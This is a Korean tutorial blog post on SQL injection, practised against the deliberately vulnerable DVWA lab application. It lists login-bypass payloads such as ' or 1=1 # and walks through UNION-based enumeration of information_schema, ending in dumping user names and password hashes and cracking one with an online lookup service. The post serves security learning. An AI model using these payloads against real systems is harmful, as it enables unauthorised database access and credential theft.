1. SQL Injection 방법
1. 주석의 활용
- MySQL, MariaDB : #을 주석으로 사용
- Oracle, MS-SQL : --을 주석으로 사용
2. where 조건절이 참이 되도록 만듦 -
--> '참'은 모든 데이터를 의미함
ex) id='admin' and pw=''or 1=1 #'
3. 중첩문을 사용
SELECT ~~~ UNION SELECT ~~~
앞의 SELECT 문에서 요청한 컬럼의 개수와 뒤의 SELECT문에서 요청하는 컬럼의 개수가 같아야 한다.
SELECT ~~~~~~ '; UPDATE ~~~~~
위와 같이 SELECT 문을 닫고 UPDATE문을 작성할 수도 있다.
2. SQL Injection
SQL Injection을 사용하기에 앞서 DVWA 가상환경을 다운로드 받아보자.
- 설치 관련 문서
https://github.com/ethicalhack3r/DVWA
GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA)
Damn Vulnerable Web Application (DVWA). Contribute to digininja/DVWA development by creating an account on GitHub.
github.com
- DVWA Download
git clone https://github.com/ethicalhack3r/DVWA
GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA)
Damn Vulnerable Web Application (DVWA). Contribute to digininja/DVWA development by creating an account on GitHub.
github.com
설치가 되었다면 SQL Injection 탭을 눌러 시도해보자.
SELECT firstname, surname FROM ??? WHERE userid=' ';
SQL 구문은 위와 같은 형태를 띄고 있다.
userid=' '; 부분에서 id인증을 우회하거나 아예 참으로 만들어서
모든 유저의 정보를 캐낼 수 있을 것이다.

그렇다면 어떻게 인증을 우회할까?
SQL injection 구문은 여러가지가 있다.
대표적인 예시로
' or 1=1 #
' or 2>1 #
' or true #
' or 'a'='a' #
' or 'a'='a
' or 'S'>'R
' or 1=1 --'
정도가 있겠다.
* SQL Injection에서 줄바꿈(\r\n)도 사용할 수 있겠다.
SELECT firstname,surname FROM ??? WHERE userid='' or 1=1 #';

이렇게 여러 유저들의 정보를 알아볼 수 있게 되었다.
그렇다면 이미 아이디를 아는 유저의 패스워드 인증은 어떻게 우회할까?
select * from ? where id='webmaster' and pw='['or 1=1 --]';
select * from ? where id='[webmaster' or 1=1 --]' and pw=' ';
select * from ? where id='[webmaster' --]' and pw=' ';
이렇게 id에서 pw검증 부분을 주석처리 하는 방법이 있고,
pw부분에서 SQL Injection을 하는 방법이 있다.
3. SQL Injection을 통한 DB 침투
DVWA에 대해 침투를 해보자.
select * from ? where id='' having 1=1 --' and pw=' ';
having문 앞에는 group by가 먼저 와야한다.
이렇게 group by 없이 having을 사용하면 error가 발생한다.

---> DB, Table, Column정보 획득 (MySQL)
* 스키마에 DB, Table, Column에 대한 정보가 저장되어 있음
- information_schema라는 스키마가 있음
- DB는 table_schema로 저장
- Table은 table_name, column은 column_name이라는 컬럼명을 사용
- Table에 대한 정보는 tables라는 테이블에 있고
- column에 대한 정보는 columns라는 테이블에 있음
그럼 지금부터 DB의 정보를 차근차근 알아내보자.
1. 앞 SELECT문에서 사용한 컬럼의 개수는?
SELECT firstname,surname FROM ??? WHERE userid='' union select ~~~~';
컬럼의 개수를 찾기 위해 select문에 null값을 하나씩 추가해서 넣어보자.
'union select null #
'union select null,null # # 성공
'union select null,null,null #


null의 개수가 두 개일 때 First name과 Surname인 Column 두 개를 사용한다.
2. DB이름 알아내기
- 내장 함수 활용: database(), @@version, version(), user() 등
'union select database(), version() #

DB는 dvw를 사용하고 버전은 Ubuntu0.20.04.1 인 것을 알 수 있다.
3. Table이름 알아내기 (스키마)
이제 Table 이름을 알아내보자.
' union select table_name,null from information_schema.tables #
' union select table_name,null from information_schema.tables where table_schema='dvwa' #
---> guestbok, users

아마 첫번째 문장을 실행하면 매우 많은 컬럼이 화면에 나타날 것이다.
그래서 dvwa schema 안에서만 찾아보았다.
결과적으로 guestbook 과 users라는 Table을 찾았다.
4. Column이름 알아내기
' union select column_name,null from information_schema.columns #
' union select column_name,null from information_schema.columns where table_schema='dvwa' and table_name='users' # ---> 특정 table의 Column

다양한 Column들이 있다. user과 password에 대한 내용도 확인할 수 있다.
자 그럼 이제 로그인 ID와 Password를 추출해보자.
5. 로그인 ID(user)와 패스워드(password)를 추출하기
' union select user,password from users #

드디어 모든 정보를 찾았다.
하지만 패스워드가 조금 이상하다.
해쉬값으로 보이는 값들이 있는데 이 값들은 어떻게 해석할 수 있을까?
예를 들어 gordonb의 비밀번호를 찾아내도록 하겠다.
6. 비밀번호 해쉬 디코딩
Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online
Hashes.com is a hash lookup service. This allows you to input an MD5, SHA-1, Vbulletin, Invision Power Board, MyBB, Bcrypt, Wordpress, SHA-256, SHA-512, MYSQL5 etc hash and search for its corresponding plaintext ("found") in our database of already-cracked
hashes.com
위 사이트에서는 데이터베이스에 있는 자료를 바탕으로 해쉬값을 해석해준다.
해쉬값은 원래 역연산이 불가능하기 때문에, 미리 만들어놓은 값을 쓴 것이다.
이제 확인해보면

비밀번호는 abc123인 것을 알 수 있다.
참고)
hash값이 서로 일치한다면 원문이 같다는 증거다.
* 리눅스 운영체제
- 사용자의 패스워드를 저장할 때 salt를 추가해서 해시값을 생성
-패스워드가 같아도 salt가 다르면 다른 해시값으로 저장됨
'정보보안 > WebHacking' 카테고리의 다른 글
| [정보보안][웹해킹] Burp Suite를 이용한 File Upload 공격 (0) | 2023.07.30 |
|---|---|
| [정보보안][웹해킹] Reflected, Stored XSS(Cross-site Scripting)과 SecureCoding (0) | 2023.07.29 |
| [정보보안][웹해킹] DVWA를 통한 Blind SQL Injection (0) | 2023.07.29 |
| [정보보안][웹해킹] 인터넷의 시작과 Web의 기초, HTML (0) | 2023.07.25 |